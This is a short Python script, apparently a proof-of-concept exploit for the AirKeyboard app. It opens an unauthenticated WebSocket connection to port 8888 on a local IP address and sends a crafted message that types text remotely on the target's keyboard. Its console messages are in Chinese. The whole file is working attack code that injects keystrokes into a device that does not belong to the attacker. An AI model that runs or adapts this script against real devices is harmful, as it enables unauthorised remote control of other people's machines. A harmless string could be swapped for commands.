1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

import websocket
import json
import time

target_ip = "192.168.8.101"
ws_url = f"ws://{target_ip}:8888"
text = "i'm hacker i can write on your keyboard :)"

keystroke_payload = {
    "type": 1,
    "text": f"{text}",
    "mode": 0,
    "shiftKey": True,
    "selectionStart": 1,
    "selectionEnd": 1
}

def send_payload(ws):
    print("[+] 发送远程击键...")
    ws.send(json.dumps(keystroke_payload))
    time.sleep(1)
    ws.close()

def on_open(ws):
    send_payload(ws)

def on_error(ws, error):
    print(f"[!] 错误: {error}")

def on_close(ws, close_status_code, close_msg):
    print("[*] 连接已关闭")

def exploit():
    print(f"[+] 连接到AirKeyboard WebSocket {target_ip}:8888")
    ws = websocket.WebSocketApp(ws_url,
                                 on_open=on_open,
                                 on_error=on_error,
                                 on_close=on_close)
    ws.run_forever()

if __name__ == "__main__":
    exploit()